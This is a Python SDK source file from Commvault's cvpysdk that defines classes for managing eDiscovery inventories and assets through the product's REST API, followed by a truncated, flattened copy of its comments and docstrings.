raise SDKException('Inventory', '102', "Not supported other than Name Server asset type")
return self._ediscovery_client_obj.get_job_status()
def start_collection(self, wait_for_job=False, wait_time=60):
"""Starts collection job on this asset
Args:
wait_for_job (bool) -- specifies whether to wait for job to complete or not
wait_time (int) -- time interval to wait for job completion in Mins
Default : 60Mins
Return:
None
Raises:
SDKException:
if failed to start collection job
if asset is not supported for this operation
"""
if self.asset_type != InventoryConstants.AssetType.NAME_SERVER.value:
raise SDKException('Inventory', '102', "Not supported other than Name Server asset type")
return self._ediscovery_client_obj.start_job(wait_for_job=wait_for_job, wait_time=wait_time)
def get_asset_prop(self, prop_name):
"""returns the property value for given property name for this asset
Args:
prop_name (str) -- Name of the property
Returns:
str -- Value of the property
"""
for prop in self._asset_name_values_props:
name = prop['name']
if name == prop_name:
return prop['value']
return ""
@property
def asset_id(self):
"""Returns the asset id with this asset"""
return self._asset_id
@property
def asset_name(self):
"""Returns the asset name with this asset"""
return self._asset_name
@property
def crawl_start_time(self):
"""Returns the crawl start time with this asset"""
return self._crawl_start_time
@property
def asset_type(self):
"""Returns the asset type for this asset"""
return self._asset_type
@property
def asset_status(self):
"""Returns the asset status for this asset"""
return self._asset_status
@property
def asset_props(self):
"""Returns the property values for this asset"""
return self._asset_name_values_props
@property
def inventory_id(self):
"""Returns the inventory id for this asset"""
return self._inventory_id
| # -*- coding: utf-8 -*-
# --------------------------------------------------------------------------
# Copyright Commvault Systems, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# --------------------------------------------------------------------------
"""Main file for performing operations on inventory manager app under Activate.
Inventories, Inventory, Assets & Asset are the four classes defined in this file
Inventories: class for representing all inventories in the commcell
Inventory: class for representing a single inventory in the commcell
Assets: class for representing all assets in an inventory
Asset: class to represent single asset in an inventory
Inventories:
__init__() -- initialise object of the Inventories class
_get_inventories() -- Gets all inventories in the commcell
_response_not_success() -- parses through the exception response, and raises SDKException
refresh() -- refresh the Inventories from the commcell
get_properties() -- returns the properties for given inventory name
has_inventory() -- Checks if a given inventory name exists in the commcell or not
get() -- returns the Inventory class object for given inventory name
add() -- add inventory to the commcell
delete() -- delete inventory from the commcell
Inventory:
__init__() -- initialise object of the Inventory class
_response_not_success() -- parses through the exception response, and raises SDKException
_get_inventory_properties() -- Gets all the properties of this inventory
_get_schedule_object() -- returns the schedule class object associated to this inventory
_get_data_source_handler_object() -- returns the datasource and default handler object for this inventory
refresh() -- refresh the properties of the inventory
get_assets() -- returns the Assets class object for this inventory
share() -- shares inventory with other user or user group
start_collection() -- starts collection job on this inventory
get_inventory_data() -- returns data from inventory
Inventory Attributes
-----------------
**properties** -- returns properties of the inventory
**index_server_name** -- returns the index server name associated with this inventory
**_index_server_cloud_id** -- returns the index server cloudid associated with this inventory
**inventory_name** -- returns the inventory name
**inventory_id** -- returns the inventory id
**security_associations** -- returns the security associations blob of this inventory
**schedule** -- returns the schedule object associated with this inventory
**data_source** -- returns the DataSource object associated with this inventory
**handler** -- returns the default handler object for this inventory
Assets:
__init__() -- initialise object of the Assets class
refresh() -- refresh the assets associated with inventory
add() -- adds asset to the inventory
get() -- returns the instance of Asset class based on given asset name
has_asset() -- returns whether given asset exists or not in inventory
delete() -- deletes the asset from the inventory
_get_assets_properties() -- returns the assets properties
_response_not_success() -- parses through the exception response, and raises SDKException
Assets Attributes:
----------------
**assets** -- returns the assets details as json
Asset:
__init__() -- initialise object of the Asset class
_get_properties() -- returns the properties of the asset
refresh() -- refresh the asset associated with inventory
start_collection() -- starts collection job on this asset
get_job_history() -- returns the job history details of this asset
get_job_status() -- returns the job status details of this asset
get_asset_prop() -- returns the asset property value for the given property name
Asset Attributes:
-----------------
**asset_id** -- returns the id of asset
**asset_name** -- returns the name of asset
**asset_type** -- returns the type of asset
**crawl_start_time** -- returns the last crawl start time of asset
**asset_props** -- returns the properties(name/value pair) of asset
**asset_status** -- returns the status of asset
**inventory_id** -- returns the inventory id of this asset
"""
import copy
from ..activateapps.ediscovery_utils import EdiscoveryClientOperations
from ..activateapps.constants import InventoryConstants
from ..schedules import Schedules
from ..exception import SDKException
class Inventories():
"""Class for representing all inventories in the commcell."""
def __init__(self, commcell_object):
"""Initializes an instance of the Inventories class.
Args:
commcell_object (object) -- instance of the commcell class
Returns:
object - instance of the Inventories class
"""
self._commcell_object = commcell_object
self._update_response_ = commcell_object._update_response_
self._cvpysdk_object = commcell_object._cvpysdk_object
self._services = commcell_object._services
self._inventories = None
self._API_INVENTORIES = self._services['EDISCOVERY_INVENTORIES']
self._API_DELETE_INVENTORY = self._services['EDISCOVERY_INVENTORY']
self.refresh()
def _response_not_success(self, response):
"""Helper function to raise an exception when reponse status is not 200 (OK).
Args:
response (object) -- response class object,
received upon running an API request, using the `requests` python package
"""
raise SDKException('Response', '101', self._update_response_(response.text))
def _get_inventories(self):
"""Gets all inventories from the commcell
Args:
None
Return:
list(dict) -- list Containing inventory details dict
Raises:
SDKException:
if response is empty
if response is not success
"""
output = {}
flag, response = self._cvpysdk_object.make_request(
'GET', self._API_INVENTORIES
)
if flag:
if response.json() and 'inventoryList' in response.json():
inventories = response.json()['inventoryList']
for inventory in inventories:
output[inventory['inventoryName'].lower()] = inventory
return output
raise SDKException('Inventory', '103')
self._response_not_success(response)
def add(self, inventory_name, index_server, name_server=None):
"""Adds inventory to the commcell with given inputs
Args:
inventory_name (str) -- Name of the inventory
index_server (str) -- Index server name
name_server (list) -- Name server assets which needs to be added to inventory
Returns:
object -- Instance of Inventory Class
Raises:
SDKException:
if input data type is not valid
if failed to add inventory
if Index Server doesn't exists in commcell
"""
if not isinstance(inventory_name, str) or not isinstance(index_server, str):
raise SDKException('Inventory', '101')
req_json = copy.deepcopy(InventoryConstants.INVENTORY_ADD_REQUEST_JSON)
if name_server:
asset_json = copy.deepcopy(InventoryConstants.ASSET_ADD_REQUEST_JSON)
for server in name_server:
asset_json['name'] = server
req_json['assets'].append(asset_json)
req_json['inventoryName'] = inventory_name
if not self._commcell_object.index_servers.has(index_server):
raise SDKException('Inventory', '102', "Given index server name not exists on this commcell")
index_server_obj = self._commcell_object.index_servers.get(index_server)
req_json['analyticsEngineCloud']['cloudId'] = index_server_obj.cloud_id
req_json['analyticsEngineCloud']['cloudDisplayName'] = index_server_obj.cloud_name
flag, response = self._cvpysdk_object.make_request(
'POST', self._API_INVENTORIES, req_json
)
if flag:
if response.json() and 'errorResp' in response.json():
err_resp = response.json()['errorResp']
if 'errorCode' in err_resp and err_resp['errorCode'] != 0:
raise SDKException(
'Inventory',
'102',
f"Failed to create inventory with error [{err_resp['errorMessage']}]")
elif 'inventoryList' in response.json():
inventory = response.json()['inventoryList'][0]
inventory_id = inventory['inventoryId']
self.refresh()
return Inventory(self._commcell_object, inventory_name, inventory_id)
raise SDKException('Inventory', '102', f"Failed to create inventory with response - {response.json()}")
raise SDKException('Inventory', '105')
self._response_not_success(response)
def delete(self, inventory_name):
"""Deletes the inventory from the commcell
Args:
inventory_name (str) -- Inventory name to be deleted
Returns:
None
Raises:
SDKException:
if unable to find inventory
if failed to delete inventory
if input type is not valid
"""
if not isinstance(inventory_name, str):
raise SDKException('Inventory', '101')
if not self.has_inventory(inventory_name):
raise SDKException('Inventory', '106')
flag, response = self._cvpysdk_object.make_request(
'DELETE', self._API_DELETE_INVENTORY % self._inventories[inventory_name.lower()]['inventoryId']
)
if flag:
if response.json() and 'errorResp' in response.json():
err_resp = response.json()['errorResp']
if 'errorCode' in err_resp and err_resp['errorCode'] != 0:
raise SDKException(
'Inventory',
'102',
f"Failed to Delete inventory with error [{err_resp['errorMessage']}]")
self.refresh()
else:
raise SDKException('Inventory', '107')
else:
self._response_not_success(response)
def refresh(self):
"""Refresh the inventories associated with the commcell."""
self._inventories = self._get_inventories()
def get_properties(self, inventory_name):
"""Returns a properties of the specified Inventory
Args:
inventory_name (str) -- name of the inventory
Returns:
dict - properties for the given inventory name
"""
return self._inventories[inventory_name.lower()]
def has_inventory(self, inventory_name):
"""Checks if a inventory exists in the commcell with the input name.
Args:
inventory_name (str) -- name of the inventory
Returns:
bool - boolean output to specify whether the inventory exists in the commcell or not
Raises:
SDKException:
if type of the inventory name argument is not string
"""
if not isinstance(inventory_name, str):
raise SDKException('Inventory', '101')
return self._inventories and inventory_name.lower() in map(str.lower, self._inventories)
def get(self, inventory_name):
"""Returns a Inventory object for the given inventory name.
Args:
inventory_name (str) -- name of the inventory
Returns:
obj -- Object of Inventory class
Raises:
SDKException:
if inventory doesn't exists in commcell
if inventory_name is not of type string
"""
if not isinstance(inventory_name, str):
raise SDKException('Inventory', '101')
if self.has_inventory(inventory_name):
inventory_id = self._inventories[inventory_name.lower()]['inventoryId']
return Inventory(self._commcell_object, inventory_name, inventory_id)
raise SDKException('Inventory', '106')
class Inventory():
"""Class for performing operations on a single inventory"""
def __init__(self, commcell_object, inventory_name, inventory_id=None):
"""Initialize an object of the Inventory class.
Args:
commcell_object (object) -- instance of the commcell class
inventory_name (str) -- name of the Inventory
inventory_id (str) -- id of Inventory
default: None
Returns:
object - instance of the Inventory class
"""
self._commcell_object = commcell_object
self._update_response_ = commcell_object._update_response_
self._services = commcell_object._services
self._cvpysdk_obj = self._commcell_object._cvpysdk_object
self._inventory_id = None
self._inventory_name = inventory_name
self._inventory_props = None
self._index_server_name = None
self._index_server_cloud_id = None
self._security_associations = None
self._schedule = None
self._data_source = None
self._handler = None
self._API_GET_INVENTORY_DETAILS = self._services['EDISCOVERY_INVENTORY']
self._API_SECURITY = self._services['SECURITY_ASSOCIATION']
self._API_SECURITY_ENTITY = self._services['ENTITY_SECURITY_ASSOCIATION']
self._API_GET_DEFAULT_HANDLER = self._services['EDISCOVERY_GET_DEFAULT_HANDLER']
if not inventory_id:
self._inventory_id = self._commcell_object.activate.inventory_manager().get(inventory_name).inventory_id
else:
self._inventory_id = inventory_id
self.refresh()
self._ediscovery_client_obj = EdiscoveryClientOperations(class_object=self, commcell_object=commcell_object)
def _response_not_success(self, response):
"""Helper function to raise an exception when reponse status is not 200 (OK).
Args:
response (object) -- response class object,
received upon running an API request, using the `requests` python package
"""
raise SDKException('Response', '101', self._update_response_(response.text))
def _get_inventory_properties(self):
""" Get inventory properties from the commcell
Args:
None
Returns:
dict -- Properties of inventory
"""
flag, response = self._cvpysdk_obj.make_request(
'GET', self._API_GET_INVENTORY_DETAILS % self._inventory_id
)
if flag:
if response.json() and 'inventoryList' in response.json():
inventory_props = response.json()['inventoryList'][0]
self._index_server_name = inventory_props['analyticsEngineCloud']['cloudDisplayName']
self._index_server_cloud_id = inventory_props['analyticsEngineCloud']['cloudId']
self._inventory_name = inventory_props['inventoryName']
self._security_associations = inventory_props['securityAssociation']['associations']
return inventory_props
raise SDKException('Inventory', '104')
self._response_not_success(response)
def refresh(self):
"""Refresh the inventory details for associated object"""
self._inventory_props = self._get_inventory_properties()
self._schedule = self._get_schedule_object()
self._data_source, self._handler = self._get_data_source_handler_object()
def get_assets(self):
"""Returns the Assets class instance for this inventory
Args:
None
Returns:
object -- Instance of Assets class
"""
return Assets(self._commcell_object, self.inventory_name, self.inventory_id)
def start_collection(self):
"""Starts collection job on this inventory
Args:
None
Return:
None
Raises:
SDKException:
if failed to start collection job
"""
return self._ediscovery_client_obj.start_job()
def share(self, user_or_group_name, allow_edit_permission=False, is_user=True, ops_type=1):
"""Shares inventory with given user or user group in commcell
Args:
user_or_group_name (str) -- Name of user or group
is_user (bool) -- Denotes whether this is user or group name
default : True(User)
allow_edit_permission (bool) -- whether to give edit permission or not to user or group
ops_type (int) -- Operation type
Default : 1 (Add)
Supported : 1 (Add)
3 (Delete)
Returns:
None
Raises:
SDKException:
if unable to update security associations
if response is empty or not success
"""
if not isinstance(user_or_group_name, str):
raise SDKException('Inventory', '101')
request_json = copy.deepcopy(InventoryConstants.INVENTORY_SHARE_REQUEST_JSON)
external_user = False
association_response = None
if ops_type == 1 and len(self.security_associations) > 1:
association_request_json = copy.deepcopy(InventoryConstants.INVENTORY_SHARE_REQUEST_JSON)
del association_request_json['securityAssociations']
association_request_json['entityAssociated']['entity'][0]['seaDataSourceId'] = int(self.inventory_id)
# get security blob for this data source type entity - 132
flag, response = self._cvpysdk_obj.make_request(
'GET', self._API_SECURITY_ENTITY % (132, int(self.inventory_id)), association_request_json
)
if flag:
if response.json() and 'securityAssociations' in response.json():
association_response = response.json(
)['securityAssociations'][0]['securityAssociations']['associations']
else:
raise SDKException('Inventory', '102', 'Failed to get existing security associations')
else:
response_string = self._commcell_object._update_response_(response.text)
raise SDKException('Response', '101', response_string)
if '\\' in user_or_group_name:
external_user = True
if is_user:
user_obj = self._commcell_object.users.get(user_or_group_name)
user_id = user_obj.user_id
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['userId'] = int(user_id)
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['_type_'] = "13"
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['userName'] = user_or_group_name
elif external_user:
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['groupId'] = 0
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['_type_'] = "62"
request_json['securityAssociations']['associations'][0]['userOrGroup'][0][
'externalGroupName'] = user_or_group_name
else:
grp_obj = self._commcell_object.user_groups.get(user_or_group_name)
grp_id = grp_obj.user_group_id
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['userGroupId'] = int(grp_id)
request_json['securityAssociations']['associations'][0]['userOrGroup'][0]['_type_'] = "15"
request_json['securityAssociations']['associations'][0]['userOrGroup'][0][
'userGroupName'] = user_or_group_name
request_json['entityAssociated']['entity'][0]['seaDataSourceId'] = self.inventory_id
request_json['securityAssociations']['associationsOperationType'] = ops_type
if allow_edit_permission:
request_json['securityAssociations']['associations'][0]['properties']['categoryPermission']['categoriesPermissionList'].append(
InventoryConstants.EDIT_CATEGORY_PERMISSION)
# Associate existing associations to the request
if ops_type == 1 and len(self.security_associations) > 1:
request_json['securityAssociations']['associations'].extend(association_response)
flag, response = self._cvpysdk_obj.make_request(
'POST', self._API_SECURITY, request_json
)
if flag:
if response.json() and 'response' in response.json():
response_json = response.json()['response'][0]
error_code = response_json['errorCode']
if error_code != 0:
error_message = response_json['errorString']
raise SDKException(
'Inventory',
'102', error_message)
# update association list by refreshing inventory
self.refresh()
else:
raise SDKException('Inventory', '111')
else:
response_string = self._commcell_object._update_response_(response.text)
raise SDKException('Response', '101', response_string)
def _get_data_source_handler_object(self):
"""returns the data source and handler object associated with this inventory
Args:
None
Returns:
obj,obj -- Instance of DataSource object,Instance of Handler object
Raises:
SDKException:
if failed to get datasource or handler details
"""
flag, response = self._cvpysdk_obj.make_request(
'GET', self._API_GET_DEFAULT_HANDLER % self.inventory_id)
if flag:
if response.json() and 'handlerInfos' in response.json():
handler_list = response.json()['handlerInfos']
if not isinstance(handler_list, list):
raise SDKException('Inventory', '102', "Failed to get Datasource/Handler details")
handler_details = handler_list[0]
ds_name = handler_details['dataSourceName']
handler_name = handler_details['handlerName']
ds_obj = self._commcell_object.datacube.datasources.get(ds_name)
handler_obj = ds_obj.ds_handlers.get(handler_name)
return ds_obj, handler_obj
raise SDKException('Inventory', '102', 'Unknown response while fetching datasource details')
response_string = self._commcell_object._update_response_(response.text)
raise SDKException('Response', '101', response_string)
def _get_schedule_object(self):
"""Returns the schedule class object of schedule associated to this inventory
Args:
None
Returns:
object -- Instance of Schedule class
Raises:
SDKException:
if failed to find schedule
"""
return Schedules(self).get()
def get_inventory_data(self, handler_filter=""):
""" Executes handler for fetching data from inventory
Args:
handler_filter (str) -- Filter which needs to applied for handler execution
Returns:
dict -- Dictionary of values fetched from handler execution
Raises:
SDKExpception:
if error in fetching handler data
if input is not valid
"""
if not isinstance(handler_filter, str):
raise SDKException('Inventory', '101')
if not self._handler:
raise SDKException('Inventory', '102', 'No handler object initialised')
return self._handler.get_handler_data(handler_filter=handler_filter)
@property
def properties(self):
"""Returns the properties of this inventory as dict"""
return self._inventory_props
@property
def index_server_name(self):
"""Returns the index server name associated with this inventory"""
return self._index_server_name
@property
def index_server_cloud_id(self):
"""Returns the index server id associated with this inventory"""
return self._index_server_cloud_id
@property
def inventory_id(self):
"""Returns the inventory id associated with this inventory"""
return self._inventory_id
@property
def inventory_name(self):
"""Returns the inventory name associated with this inventory"""
return self._inventory_name
@property
def security_associations(self):
"""Returns the security blob associated with this inventory"""
return self._security_associations
@property
def schedule(self):
"""Returns the schedule class object for schedule associated with this inventory"""
return self._schedule
@property
def data_source(self):
"""Returns the DataSource class object for datasource associated with this inventory"""
return self._data_source
@property
def handler(self):
"""Returns the Handler class object for default handler associated with this inventory"""
return self._handler
class Assets():
"""Class to represent all assets in an inventory"""
def __init__(self, commcell_object, inventory_name, inventory_id=None):
"""Initialize an object of the Assets class.
Args:
commcell_object (object) -- instance of the commcell class
inventory_name (str) -- name of the Inventory
inventory_id (str) -- id of Inventory
default: None
Returns:
object - instance of the Assets class
"""
self._commcell_object = commcell_object
self._update_response_ = commcell_object._update_response_
self._services = commcell_object._services
self._cvpysdk_obj = self._commcell_object._cvpysdk_object
self._inventory_id = None
self._inventory_name = inventory_name
if not inventory_id:
self._inventory_id = self._commcell_object.activate.inventory_manager().get(inventory_name).inventory_id
else:
self._inventory_id = inventory_id
self._assets = None
self._API_INVENTORIES = self._services['EDISCOVERY_INVENTORIES']
self._API_ASSETS = self._services['EDISCOVERY_ASSETS']
self.refresh()
def _get_assets_properties(self):
"""gets the assets properties from inventory
Args:
None
Returns:
dict -- containing asset properties
"""
inv_mgr = self._commcell_object.activate.inventory_manager()
inv_obj = inv_mgr.get(self._inventory_name)
inv_obj.refresh()
assets = {}
for asset in inv_obj.properties['assets']:
name = asset['name'].lower()
assets[name] = asset
return assets
def refresh(self):
"""Refresh the assets details associated with this inventory"""
self._assets = self._get_assets_properties()
def _response_not_success(self, response):
"""Helper function to raise an exception when reponse status is not 200 (OK).
Args:
response (object) -- response class object,
received upon running an API request, using the `requests` python package
"""
raise SDKException('Response', '101', self._update_response_(response.text))
def has_asset(self, asset_name):
"""Checks whether given asset exists in inventory or not
Args:
asset_name (str) -- Name of the asset
Returns:
bool -- true if asset exists else false
"""
return self._assets and asset_name.lower() in self._assets
def get(self, asset_name):
"""Returns the asset object
Args:
asset_name (str) -- Name of the asset
Returns:
object -- Instance of Asset class
Raises:
SDKException:
if input is not valid
if asset doesn't exists in inventory
"""
if not isinstance(asset_name, str):
raise SDKException('Inventory', '101')
if not self.has_asset(asset_name):
raise SDKException('Inventory', '109')
return Asset(self._commcell_object, self._inventory_name, asset_name, self._inventory_id)
def add(self, asset_name, asset_type=InventoryConstants.AssetType.NAME_SERVER, **kwargs):
"""Adds asset to the inventory
Args:
asset_name (str) -- Name of the asset
asset_type (Enum) -- type of asset (Refer to InventoryConstants.AssetType class)
kwargs for FILE SERVER type Asset:
fqdn -- File server FQDN
os -- File Server OS type
ip -- File server IP
country_code -- Country code (ISO 3166 2-letter code)
country_name -- Country name
domain -- File Server Domain name(optional)
Returns:
object -- Instance of Asset class
Raises:
SDKException:
if input is not valid
if failed to add asset to inventory
"""
if not isinstance(asset_name, str) or not isinstance(asset_type, InventoryConstants.AssetType):
raise SDKException('Inventory', '101')
request_json = copy.deepcopy(InventoryConstants.ASSET_ADD_TO_INVENTORY_JSON)
request_json['inventoryId'] = int(self._inventory_id)
asset_json = copy.deepcopy(InventoryConstants.ASSET_ADD_REQUEST_JSON)
asset_json['name'] = asset_name
asset_json['type'] = asset_type.value
property_json = copy.deepcopy(InventoryConstants.ASSET_PROPERTY_JSON)
if asset_type.value == InventoryConstants.AssetType.FILE_SERVER.value:
for prop in InventoryConstants.ASSET_FILE_SERVER_PROPERTY:
prop_name = InventoryConstants.FIELD_PROPS_MAPPING[prop]
default_value = ""
if prop_name not in kwargs:
# if domain is not passed, then form domain from fqdn
if prop == InventoryConstants.FIELD_PROPERTY_DOMAIN:
default_value = kwargs.get(InventoryConstants.KWARGS_FQDN)
default_value = default_value.split(".", 1)[1]
# always use asset name as file server name
if prop == InventoryConstants.FIELD_PROPERTY_NAME:
default_value = asset_name
prop_json = copy.deepcopy(InventoryConstants.ASSET_PROPERTY_NAME_VALUE_PAIR_JSON)
prop_json['name'] = prop
prop_json['value'] = kwargs.get(prop_name, default_value)
property_json['propertyValues']['nameValues'].append(prop_json)
asset_json.update(property_json)
request_json['assets'].append(asset_json)
flag, response = self._cvpysdk_obj.make_request(
'PUT', self._API_INVENTORIES, request_json)
if flag:
if response.json() and 'errorResp' in response.json():
err_resp = response.json()['errorResp']
if 'errorCode' in err_resp and err_resp['errorCode'] != 0:
raise SDKException(
'Inventory',
'102',
f"Failed to add asset to inventory with error [{err_resp['errorMessage']}]")
self.refresh()
return Asset(self._commcell_object, self._inventory_name, asset_name, self._inventory_id)
raise SDKException('Inventory', '108')
self._response_not_success(response)
def delete(self, asset_name):
"""Delete the asset from the inventory
Args:
asset_name (str) -- Name of the asset
Returns:
None
Raises:
SDKException:
if input is not valid
if failed to delete the asset
if unable to find this asset in inventory
"""
if not isinstance(asset_name, str):
raise SDKException('Inventory', '101')
if not self.has_asset(asset_name):
raise SDKException('Inventory', '109')
request_json = copy.deepcopy(InventoryConstants.ASSET_DELETE_FROM_INVENTORY_JSON)
request_json['inventoryId'] = int(self._inventory_id)
if 'assetId' in self._assets[asset_name.lower()]:
request_json['assets'].append({'assetId': self._assets[asset_name.lower()]['assetId']})
else:
req = copy.deepcopy(InventoryConstants.ASSET_ADD_REQUEST_JSON)
asset_obj = self.get(asset_name)
asset_type = asset_obj.asset_type
# for file server asset, asset name will not be display name in backend delete request. so fetch fqdn
req['name'] = asset_obj.get_asset_prop(prop_name=InventoryConstants.FIELD_PROPERTY_DNSHOST)
req['type'] = asset_type
request_json['assets'].append(req)
flag, response = self._cvpysdk_obj.make_request(
'PUT', self._API_ASSETS % self._inventory_id, request_json)
if flag:
if response.json():
err_resp = response.json()['errorResp']
if 'errorCode' in err_resp and err_resp['errorCode'] != 0:
raise SDKException(
'Inventory',
'102',
f"Failed to delete asset from inventory with error [{err_resp['errorMessage']}]")
self.refresh()
return
raise SDKException('Inventory', '110')
self._response_not_success(response)
@property
def assets(self):
"""Returns the assets details associated with this inventory"""
return self._assets
class Asset():
"""Class to represent single asset in an inventory"""
def __init__(self, commcell_object, inventory_name, asset_name, inventory_id=None):
"""Initialize an object of the Asset class.
Args:
commcell_object (object) -- instance of the commcell class
inventory_name (str) -- name of the Inventory
asset_name (str) -- Name of the asset
inventory_id (str) -- id of Inventory
default: None
Returns:
object - instance of the Asset class
"""
self._commcell_object = commcell_object
self._update_response_ = commcell_object._update_response_
self._services = commcell_object._services
self._cvpysdk_obj = self._commcell_object._cvpysdk_object
self._inventory_id = None
self._inventory_name = inventory_name
if not inventory_id:
self._inventory_id = self._commcell_object.activate.inventory_manager().get(inventory_name).inventory_id
else:
self._inventory_id = inventory_id
self._asset_name = asset_name
self._asset_props = None
self._asset_id = None
self._crawl_start_time = None
self._asset_type = None
self._asset_status = None
self._asset_name_values_props = None
self.refresh()
self._ediscovery_client_obj = EdiscoveryClientOperations(class_object=self, commcell_object=commcell_object)
def _get_properties(self):
"""Returns the properties of this asset
Args:
None
Returns:
dict -- Containing properties of asset
"""
inv_mgr = self._commcell_object.activate.inventory_manager()
inv_obj = inv_mgr.get(self._inventory_name)
inv_obj.get_assets().refresh()
for asset in inv_obj.properties['assets']:
if asset['name'].lower() == self._asset_name.lower():
# for file server, we will not have asset id & crawl times
self._asset_id = asset.get('assetId', 0)
self._crawl_start_time = asset.get('crawlStartTime', 0)
self._asset_type = asset.get('type', 0)
self._asset_status = asset['status']
self._asset_name = asset['name']
self._asset_name_values_props = asset['propertyValues']['nameValues']
return asset
return {}
def refresh(self):
"""Refresh the asset details associated with this"""
self._asset_props = self._get_properties()
def get_job_history(self):
"""Returns the job history details of this asset
Args:
None
Returns:
list(dict) -- containing job history details
Raises:
SDKException:
if failed to get job history
if asset is not supported for this operation
"""
if self.asset_type != InventoryConstants.AssetType.NAME_SERVER.value:
raise SDKException('Inventory', '102', "Not supported other than Name Server asset type")
return self._ediscovery_client_obj.get_job_history()
def get_job_status(self):
"""Returns the job status details of this asset
Args:
None
Returns:
dict -- containing job status details
Raises:
SDKException:
if failed to get job status
if asset is not supported for this operation
"""
if self.asset_type != InventoryConstants.AssetType.NAME_SERVER.value:
raise SDKException('Inventory', '102', "Not supported other than Name Server asset type")
return self._ediscovery_client_obj.get_job_status()
def start_collection(self, wait_for_job=False, wait_time=60):
"""Starts collection job on this asset
Args:
wait_for_job (bool) -- specifies whether to wait for job to complete or not
wait_time (int) -- time interval to wait for job completion in Mins
Default : 60Mins
Return:
None
Raises:
SDKException:
if failed to start collection job
if asset is not supported for this operation
"""
if self.asset_type != InventoryConstants.AssetType.NAME_SERVER.value:
raise SDKException('Inventory', '102', "Not supported other than Name Server asset type")
return self._ediscovery_client_obj.start_job(wait_for_job=wait_for_job, wait_time=wait_time)
def get_asset_prop(self, prop_name):
"""returns the property value for given property name for this asset
Args:
prop_name (str) -- Name of the property
Returns:
str -- Value of the property
"""
for prop in self._asset_name_values_props:
name = prop['name']
if name == prop_name:
return prop['value']
return ""
@property
def asset_id(self):
"""Returns the asset id with this asset"""
return self._asset_id
@property
def asset_name(self):
"""Returns the asset name with this asset"""
return self._asset_name
@property
def crawl_start_time(self):
"""Returns the crawl start time with this asset"""
return self._crawl_start_time
@property
def asset_type(self):
"""Returns the asset type for this asset"""
return self._asset_type
@property
def asset_status(self):
"""Returns the asset status for this asset"""
return self._asset_status
@property
def asset_props(self):
"""Returns the property values for this asset"""
return self._asset_name_values_props
@property
def inventory_id(self):
"""Returns the inventory id for this asset"""
return self._inventory_id
| en | 0.641736 | # -*- coding: utf-8 -*- # -------------------------------------------------------------------------- # Copyright Commvault Systems, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # -------------------------------------------------------------------------- Main file for performing operations on inventory manager app under Activate. Inventories, Inventory, Assets & Asset are the four classes defined in this file Inventories: class for representing all inventories in the commcell Inventory: class for representing a single inventory in the commcell Assets: class for representing all assets in an inventory Asset: class to represent single asset in an inventory Inventories: __init__() -- initialise object of the Inventories class _get_inventories() -- Gets all inventories in the commcell _response_not_success() -- parses through the exception response, and raises SDKException refresh() -- refresh the Inventories from the commcell get_properties() -- returns the properties for given inventory name has_inventory() -- Checks if a given inventory name exists in the commcell or not get() -- returns the Inventory class object for given inventory name add() -- add inventory to the commcell delete() -- delete inventory from the commcell Inventory: __init__() -- initialise object of the Inventory class _response_not_success() -- parses through the exception response, and raises SDKException _get_inventory_properties() -- Gets all the properties of this inventory _get_schedule_object() -- returns the schedule class object associated to this inventory _get_data_source_handler_object() -- returns the datasource and default handler object for this inventory refresh() -- refresh the properties of the inventory get_assets() -- returns the Assets class object for this inventory share() -- shares inventory with other user or user group start_collection() -- starts collection job on this inventory get_inventory_data() -- returns data from inventory Inventory Attributes ----------------- **properties** -- returns properties of the inventory **index_server_name** -- returns the index server name associated with this inventory **_index_server_cloud_id** -- returns the index server cloudid associated with this inventory **inventory_name** -- returns the inventory name **inventory_id** -- returns the inventory id **security_associations** -- returns the security associations blob of this inventory **schedule** -- returns the schedule object associated with this inventory **data_source** -- returns the DataSource object associated with this inventory **handler** -- returns the default handler object for this inventory Assets: __init__() -- initialise object of the Assets class refresh() -- refresh the assets associated with inventory add() -- adds asset to the inventory get() -- returns the instance of Asset class based on given asset name has_asset() -- returns whether given asset exists or not in inventory delete() -- deletes the asset from the inventory _get_assets_properties() -- returns the assets properties _response_not_success() -- parses through the exception response, and raises SDKException Assets Attributes: ---------------- **assets** -- returns the assets details as json Asset: __init__() -- initialise object of the Asset class _get_properties() -- returns the properties of the asset refresh() -- refresh the asset associated with inventory start_collection() -- starts collection job on this asset get_job_history() -- returns the job history details of this asset get_job_status() -- returns the job status details of this asset get_asset_prop() -- returns the asset property value for the given property name Asset Attributes: ----------------- **asset_id** -- returns the id of asset **asset_name** -- returns the name of asset **asset_type** -- returns the type of asset **crawl_start_time** -- returns the last crawl start time of asset **asset_props** -- returns the properties(name/value pair) of asset **asset_status** -- returns the status of asset **inventory_id** -- returns the inventory id of this asset Class for representing all inventories in the commcell. Initializes an instance of the Inventories class. Args: commcell_object (object) -- instance of the commcell class Returns: object - instance of the Inventories class Helper function to raise an exception when reponse status is not 200 (OK). Args: response (object) -- response class object, received upon running an API request, using the `requests` python package Gets all inventories from the commcell Args: None Return: list(dict) -- list Containing inventory details dict Raises: SDKException: if response is empty if response is not success Adds inventory to the commcell with given inputs Args: inventory_name (str) -- Name of the inventory index_server (str) -- Index server name name_server (list) -- Name server assets which needs to be added to inventory Returns: object -- Instance of Inventory Class Raises: SDKException: if input data type is not valid if failed to add inventory if Index Server doesn't exists in commcell Deletes the inventory from the commcell Args: inventory_name (str) -- Inventory name to be deleted Returns: None Raises: SDKException: if unable to find inventory if failed to delete inventory if input type is not valid Refresh the inventories associated with the commcell. Returns a properties of the specified Inventory Args: inventory_name (str) -- name of the inventory Returns: dict - properties for the given inventory name Checks if a inventory exists in the commcell 